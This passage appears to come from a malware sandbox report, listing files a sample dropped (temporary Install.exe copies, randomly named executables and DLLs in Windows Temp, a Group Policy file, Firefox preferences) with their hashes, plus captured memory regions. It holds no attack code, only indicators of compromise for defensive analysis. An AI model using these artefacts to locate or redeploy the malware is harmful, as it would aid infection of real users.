7006a277aacd8286933cfe39e8301143b6f6f861

SHA256
bf25172b4db510b3c53c40542d8d297dab8b14110ca8396927b0731e62d361f8

SHA512
979ba02ee20583fa92804e0af471330f82acf9565ab22517a03dc9ee554213c5f073d336685ddd864779c45cec1cc050481ddd3c8b8d4804293a4d7682945dac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6bf0e5945fb9da68e1b03bdaed5f6f8d

SHA1
eed3802c8e4abe3b327c100c99c53d3bbcf8a33d

SHA256
dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1

SHA512
977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
fed081805eb80cfe8e33a5112421491b

SHA1
3257acb25ea3e2159a289ee3a96cf4b92feac114

SHA256
afb7fa5490b8646efb3f715c0401ce435afe513a455edd487afdaeb4485e2191

SHA512
41d818cc56c9887cdb1d5e2c4053a7bea48edd65f785c6369d7116bba104c95a0a0d927a50f8dddd9c66bbe9ddeb7db4ce67618e91a5ba029609866d9a460826

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
2039ac0111d3a8702c0aeca9b3f8986f

SHA1
976a64f9fc19d941e8e37a6d434d45eb064e1012

SHA256
f5baebee7ccea3ae03908a26fb4c8af729663a4d95780c39367c6d901e530158

SHA512
328c23381186ba8b402d857fe314de898ef8b27d575a09d14c87b45125cfa26f569c678b408fef220568ef9f5c88cb34a3ab61f6523298a1796f403e612c9212

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS613A.tmp\Install.exe

Filesize
6.3MB

MD5
1795aaafa80ac7551ce3ad159cae4434

SHA1
c6e945f22092f97fc0c6f9056301d31a084594c5

SHA256
d65405051e354b99c21fd29aae19d2b207756aa68ab845fc006080cd8e8968fd

SHA512
1adf730f57adce2b680d5f7e13f704ae0aaf22eef5716c6f46eb2f58ffb1c822ccd3dc4cd322843342ffa30fe6501400cef1b788b3a6fb4bd24589821e2d81c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS630F.tmp\Install.exe

Filesize
6.7MB

MD5
b4ef95e882fde8174e2c403933235f37

SHA1
f12c45141684417134f4f233bfb988653a78ed68

SHA256
538e6f897d7e83021ee8271a1659cc2f0113fdcbd6597d59e36fe8ac7485c091

SHA512
dfd270d9b2ac20a35c049352c2d1c40c99893b64a756c26ec5b7a09ed51786bb010a2d79d00383d34ddb341104c6fd6d59200d395fdfb7f140321823c9d78883

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS630F.tmp\Install.exe

Filesize
6.6MB

MD5
9020a7ac7aed6088765b1357b77cc672

SHA1
4659b4ccdee1beecf2a302fd56f88d7cd3387212

SHA256
b414b435e61ac2e041d4ede6cc9c007488cd2490a863e9664703d2fc350f44be

SHA512
806f60e5361f8d27b73cb5ddb01dcae9e1b0a76c6f23278005009bb6765b3ef6adbc7055def6612a6e0da537fa67eaf89dda6295b6ed7604e4a9552b65a1da33

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS630F.tmp\Install.exe

Filesize
2.1MB

MD5
fd8ffde947150199b00557a799725196

SHA1
65a9ee8816e497730fc8c05ef58ba15f5de83311

SHA256
d49f25a27abc72ecdb986b1437079c7536d61242ca44b31d7dfa323ef8eb7511

SHA512
b841aa375d8ea8e72fee6014e20ee729622bbbcf1f52c5f5df0151e72f4ce718bedaec5c4049dd24f3b3ea3b0d8f8addf970d9813be842a0123acf9489e76019

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zbh40u4u.ljd.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js

Filesize
6KB

MD5
df10ada5a7430eb3ae67e216b362d1d8

SHA1
a7d1386502a42f894d9e69c5f234967ff9897766

SHA256
5b7a08a12ecb133b41d353de7e8c9e29c31cd10aba822eccdbd96b3825505b79

SHA512
7c44f62bb7c1abe56eae0488ebab1d750ddf1131e64ab3393c59c327f6eceaec5625bdd182bd1239a83d65e7fbd66d3b47d8f2174778cc7d13317e549edd6a6b

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
c558fdaa3884f969f1ec904ae7bbd991

SHA1
b4f85d04f6bf061a17f52c264c065b786cfd33ff

SHA256
3e2559b6ca355d011b05b1fcf35ed8b2375586fe6bb01bc367f24eb8ac82975e

SHA512
6523c778fd9fab0085fafe7b4049e591403865212cc25109cb11f11584c7258bc15e0a5524d089d0f662151b22f3f8e6f871091cec57064c69a9a95903f9e7d4

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
7fc465ecad1156c096f19e05b39f8b87

SHA1
687fca000d15522ed81cde0a82d2ff8a771cccce

SHA256
d571b52ddb4e02bed94739bf1092c072d904eedd9b45cc8fc2406aab5b1517dd

SHA512
085f80a6a7bc76d5dfc5796884528e79adcc8fc7430112b6952c62f2a81701736df522644055600ddf4ded8ea784929122b194d9082c0a4f7c497c28c7c03e83

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
8a2819907cc8b377c6ae407d5f58e37e

SHA1
094d5265336895bfb4c816f9141cb53de4aafe2d

SHA256
be75888620770125b361ae0fa402477ffdd2f6d5dacd75fd6e150205081d55a9

SHA512
e9ed701e55e065cf17b1045d50f6f43bfd872b9d29ccc5b5e1cbd299d5b55b739a338b4db410a0b6c786c28bdc2ebcde45ac4edcfe8e4ebf47cbfeedbfa42a05

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
092ff9d1e0a6974c6892dd897b82901b

SHA1
a619af84c5f4f5c243571bd9a24c8125cdadf593

SHA256
94e870328636d822734be0c7ef21ce08a05f76b5307bb85d26bf2dd8c2887c69

SHA512
a35f3702e293a3c49d1f527bfd7b69510adacd5ec203749d7c42575a7d751313828013a746cc82dfd064c2cca0efda35959d2e5e7297ea38fbfa24ef814d686b

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
6e865dbd5b50da3c62527b092260f169

SHA1
461b1ea7c88dede15da8c4b2d1cbec6c561cf53e

SHA256
0cabeeef942034696ab97eb751cb0df8b6ad685b0b5bbe677ff8549828149373

SHA512
1dbc98869ce9b7a801370dd187f2a6ed59ed2448cbf835081cb5cbdeedb176dcc1360196e395a33b7a1b71efe7a95125786c0ba2d612512679eafed5d912d8a8

Download Submit
C:\Windows\Temp\gLbKcqvTyliDAKYm\NEyxkDcDVFDgMzZ\mhGmYVi.exe

Filesize
448KB

MD5
58374f2858c5bfc3d048595ca0393f36

SHA1
f02fe3257a0f5db287c00e5c918d6391cf454d15

SHA256
208021224cf56cb0e858f78d64082f336ba1d9e9edcd4ed61891df434295e916

SHA512
894e143c270914750852cdc390ae58df4d9c413e65921860c8f13ca32864fa4fbbbdc3f872a2670003bf4f8c388e7b8f5990c4f8664651fae672a6d095d0c693

Download Submit
C:\Windows\Temp\gLbKcqvTyliDAKYm\NEyxkDcDVFDgMzZ\mhGmYVi.exe

Filesize
192KB

MD5
eada68d4c16480103b6f07dc0bd1d8c0

SHA1
e8c018183a06ea520bd7aff36f4cc51bb791d36f

SHA256
fe1a1d4c813ddcf4d313de42851fe8b736a738954eb69ae722a669588bb1b0a9

SHA512
89f90c9d35506e209fc7e9997661da06831a42be5bb1419ff1c8bbe753df458cbd46adcb0ff1aef3c3f3219991ad7782d22ca9e9e9633c88d03df1009bb979bf

Download Submit
C:\Windows\Temp\gLbKcqvTyliDAKYm\cStUYHOf\BtgqMBk.dll

Filesize
448KB

MD5
3adcb8493a3826d80c08e7a8b555a153

SHA1
ee69bae16cfcf3ae56ee6537bbec21f5556b512b

SHA256
1f57f1bca368830535faf52104d28b9d76c80d16a002103d9139d5f39dc0f9d3

SHA512
2e03a60feee714a602d14c20bf72c0075996d846041f162fd55a2fc7c2746e823e2cbb8cadfb532f82f4d05276fee296f6b38c46a27ece519cd9598cb8e5bc6f

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol

Filesize
6KB

MD5
133df1191532ced3972cc9d6f4bdbcf7

SHA1
a0e94fb9b81b53a6bef5d5d388d7584989ca7b4f

SHA256
bed151993cedd5f13fdd108050f88f185d97089b151d21edf57464f4687027c3

SHA512
0d2379b1150efdfe9438b6ecd7a506b763a47e0a8abc9d5bc9ffafae3a1c443978e25084571bb16db8ccc3447e577b420471ba0eabf427d38147d49dab71ab0d

Download Submit
\Windows\Temp\gLbKcqvTyliDAKYm\cStUYHOf\BtgqMBk.dll

Filesize
128KB

MD5
1cc77e1a0a3f4ff4c876476692779203

SHA1
26fb9fc84647a942b670d92fab010ac55c98c8aa

SHA256
3611a2559f89a621bc8a3299e742cd16c83a13662f79ef8db142fd8b53c5c1c1

SHA512
83befed12da94b967e721fb31a2058e2a01762374f43d96f2febe60253b75ab7957df42dd3ec0022b8a427caccf6a51271c5cc49efdde236cce7be35ebe00fe2

Download Submit
memory/428-216-0x0000000007440000-0x000000000748B000-memory.dmp

Filesize
300KB

Download
memory/428-212-0x0000000006C50000-0x0000000006FA0000-memory.dmp

Filesize
3.3MB

Download
memory/1156-135-0x000001A0C5A00000-0x000001A0C5A22000-memory.dmp

Filesize
136KB

Download
memory/1156-139-0x000001A0DDD30000-0x000001A0DDDA6000-memory.dmp

Filesize
472KB

Download
memory/1304-73-0x0000000006EE0000-0x0000000006F2B000-memory.dmp

Filesize
300KB

Download
memory/1456-457-0x0000000003860000-0x0000000003932000-memory.dmp

Filesize
840KB

Download
memory/1456-206-0x00000000025F0000-0x0000000002675000-memory.dmp

Filesize
532KB

Download
memory/1456-193-0x0000000010000000-0x000000001328F000-memory.dmp

Filesize
50.6MB

Download
memory/1456-263-0x0000000002E00000-0x0000000002E66000-memory.dmp

Filesize
408KB

Download
memory/1456-446-0x00000000035E0000-0x0000000003664000-memory.dmp

Filesize
528KB

Download
memory/2560-95-0x0000000010000000-0x000000001328F000-memory.dmp

Filesize
50.6MB

Download
memory/2672-39-0x0000000009980000-0x00000000099A2000-memory.dmp

Filesize
136KB

Download
memory/2672-19-0x0000000008450000-0x00000000087A0000-memory.dmp

Filesize
3.3MB

Download
memory/2672-38-0x0000000009930000-0x000000000994A000-memory.dmp

Filesize
104KB

Download
memory/2672-37-0x0000000009BC0000-0x0000000009C54000-memory.dmp

Filesize
592KB

Download
memory/2672-14-0x0000000004FF0000-0x0000000005026000-memory.dmp

Filesize
216KB

Download
memory/2672-22-0x0000000008B60000-0x0000000008BD6000-memory.dmp

Filesize
472KB

Download
memory/2672-21-0x0000000008860000-0x00000000088AB000-memory.dmp

Filesize
300KB

Download
memory/2672-20-0x00000000082E0000-0x00000000082FC000-memory.dmp

Filesize
112KB

Download
memory/2672-17-0x0000000008370000-0x00000000083D6000-memory.dmp

Filesize
408KB

Download
memory/2672-40-0x000000000A160000-0x000000000A65E000-memory.dmp

Filesize
5.0MB

Download
memory/2672-18-0x00000000083E0000-0x0000000008446000-memory.dmp

Filesize
408KB

Download
memory/2672-16-0x0000000007A60000-0x0000000007A82000-memory.dmp

Filesize
136KB

Download
memory/2672-15-0x0000000007AF0000-0x0000000008118000-memory.dmp

Filesize
6.2MB

Download
memory/2704-48-0x0000000010000000-0x000000001328F000-memory.dmp

Filesize
50.6MB

Download
memory/3008-476-0x0000000003530000-0x00000000067BF000-memory.dmp

Filesize
50.6MB

Download
memory/4548-170-0x00000000064B0000-0x0000000006800000-memory.dmp

Filesize
3.3MB

Download
memory/4548-172-0x00000000069D0000-0x0000000006A1B000-memory.dmp

Filesize
300KB

Download
memory/4576-54-0x0000000007C60000-0x0000000007FB0000-memory.dmp

Filesize
3.3MB

Download
memory/4576-56-0x0000000008360000-0x00000000083AB000-memory.dmp

Filesize
300KB

Download